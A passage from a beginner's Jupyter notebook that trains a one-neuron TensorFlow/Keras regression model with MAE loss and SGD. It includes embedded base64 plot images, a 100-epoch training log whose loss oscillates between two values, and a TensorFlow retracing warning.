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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "## Make prediction ##\n", - "y_pred=model.predict(X_test)\n", - "plt.figure(figsize=(12,8))\n", - "plt.plot(y_test)\n", - "plt.plot(y_pred)" - ] - }, - { - "cell_type": "code", - "execution_count": 50, - "id": "be0769dc", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/100\n", - "1/1 [==============================] - 0s 256ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 2/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 3/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 4/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 5/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 6/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 7/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 8/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 9/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 10/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 11/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 12/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 13/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 14/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 15/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 16/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 17/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 18/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 19/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 20/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 21/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 22/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 23/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 24/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 25/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 26/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 27/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 28/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 29/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 30/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 31/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 32/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 33/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 34/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 35/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 36/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 37/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 38/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 39/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 40/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 41/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 42/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 43/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 44/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 45/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 46/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 47/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 48/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 49/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 50/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 51/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 52/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 53/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 54/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 55/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 56/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 57/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 58/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 59/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 60/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 61/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 62/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 63/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 64/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 65/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 66/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 67/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 68/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 69/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 70/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 71/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 72/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 73/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 74/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 75/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 76/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 77/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 78/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 79/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 80/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 81/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 82/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 83/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 84/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 85/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 86/100\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 6ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 87/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 88/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 89/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 90/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 91/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 92/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 93/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 94/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 95/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 96/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4569 - mae: 124.4569\n", - "Epoch 97/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 65.9931 - mae: 65.9931\n", - "Epoch 98/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 124.4568 - mae: 124.4568\n", - "Epoch 99/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 65.9932 - mae: 65.9932\n", - "Epoch 100/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 124.4568 - mae: 124.4568\n" - ] - }, - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 50, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Create model using sequential API\n", - "model=tf.keras.Sequential([tf.keras.layers.Dense(1, input_shape=[1])]) # 1 for taking one input and predicting 1 output\n", - "\n", - "# Compile the model\n", - "model.compile(loss=tf.keras.losses.mae, optimizer=tf.keras.optimizers.SGD(), metrics=[\"mae\"])\n", - "# mae = mean absolute error \n", - "#Fit the model\n", - "model.fit(X_train,y_train,epochs=100, verbose=1) # epochs = oppurtuinity" - ] - }, - { - "cell_type": "code", - "execution_count": 51, - "id": "31ab096f", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "WARNING:tensorflow:6 out of the last 8 calls to .predict_function at 0x00000293CBFAF160> triggered tf.function retracing. Tracing is expensive and the excessive number of tracings could be due to (1) creating @tf.function repeatedly in a loop, (2) passing tensors with different shapes, (3) passing Python objects instead of tensors. For (1), please define your @tf.function outside of the loop. For (2), @tf.function has experimental_relax_shapes=True option that relaxes argument shapes that can avoid unnecessary retracing. For (3), please refer to https://www.tensorflow.org/guide/function#controlling_retracing and https://www.tensorflow.org/api_docs/python/tf/function for more details.\n" - ] - }, - { - "data": { - "text/plain": [ - "[]" - ] - }, - "execution_count": 51, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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